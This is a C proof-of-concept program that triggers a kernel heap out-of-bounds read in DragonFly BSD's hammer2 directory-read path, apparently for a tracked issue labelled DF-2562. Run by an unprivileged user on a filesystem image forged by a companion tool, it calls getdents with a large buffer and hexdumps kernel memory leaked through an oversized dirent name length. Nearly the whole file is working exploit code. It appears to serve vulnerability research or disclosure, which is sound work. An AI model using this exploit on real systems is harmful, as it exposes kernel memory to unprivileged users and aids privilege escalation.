/*
 * poc.c - DF-2562 readdir OOB-read trigger
 *
 * Calls getdents(2) on a hammer2 directory with a large buffer.
 * If the on-disk DIRENT namlen has been forged to a large value
 * (by forge.c), the kernel's vop_write_dirent does:
 *
 *   bcopy(d_name, dp->d_name, d_namlen);
 *
 * with d_namlen = 0xFFFF, reading 65535 bytes from a 1024-byte kernel
 * buffer => heap OOB read.  The over-read data is returned to userspace
 * in the dirent entry.
 *
 * Run as unprivileged user (maxx) on a hammer2 mount whose image was
 * forged by forge.c.
 *
 * Build:  cc -O2 -o poc poc.c
 * Usage:  ./poc <dir>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/syscall.h>

/* DragonFly getdents = syscall 480 */
#ifndef SYS_getdents
#define SYS_getdents 480
#endif

#define BUFSZ (128 * 1024)   /* must exceed _DIRENT_RECLEN(65535) ~ 65552 */

struct dirent_local {
    uint32_t       d_fileno;
    uint16_t       d_reclen;
    uint8_t        d_type;
    uint8_t        d_pad0;
    uint8_t        d_namlen_lo;   /* DragonFly: uint16 d_namlen */
    uint8_t        d_namlen_hi;
    uint32_t       d_pad1;
    uint32_t       d_pad2;
    /* d_name follows at __offsetof(struct dirent, d_name) */
};

static void hexdump(const void *data, size_t len)
{
    const uint8_t *p = data;
    size_t i;
    for (i = 0; i < len; i++) {
        if (i && (i % 16 == 0))
            printf("\n");
        if (i % 16 == 0)
            printf("  %04zx:", i);
        printf(" %02x", p[i]);
    }
    printf("\n");
}

int main(int argc, char **argv)
{
    const char *dir;
    int fd;
    char *buf;
    int rc;
    ssize_t n;
    size_t off;

    if (argc < 2) {
        fprintf(stderr, "usage: %s <dir>\n", argv[0]);
        return 2;
    }
    dir = argv[1];

    fd = open(dir, O_RDONLY | O_DIRECTORY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    buf = malloc(BUFSZ);
    if (!buf) { perror("malloc"); close(fd); return 1; }

    printf("[*] getdents(%s) buf=%d\n", dir, BUFSZ);
    fflush(stdout);

    n = syscall(SYS_getdents, fd, buf, BUFSZ);
    rc = errno;
    printf("[*] getdents returned %zd (errno=%d %s)\n",
           n, rc, n < 0 ? strerror(rc) : "ok");
    fflush(stdout);

    if (n > 0) {
        printf("[*] dumping %zd bytes of dirent data:\n", n);
        hexdump(buf, (size_t)n);
        fflush(stdout);

        /* Walk entries */
        off = 0;
        while (off < (size_t)n) {
            struct dirent_local *d = (void *)(buf + off);
            uint16_t namlen = d->d_namlen_lo | (d->d_namlen_hi << 8);
            uint16_t reclen = d->d_reclen;
            const char *name = (const char *)(buf + off + 16); /* d_name offset */

            printf("  entry: fileno=%u reclen=%u type=%u namlen=%u",
                   d->d_fileno, reclen, d->d_type, namlen);
            if (namlen > 0 && namlen < 300) {
                printf(" name=\"%.*s\"", namlen, name);
            } else if (namlen >= 300) {
                printf(" name=<OVERSIZED namlen=%u>", namlen);
            }
            printf("\n");

            if (reclen == 0) break;
            off += reclen;
        }
    }

    free(buf);
    close(fd);
    return 0;
}
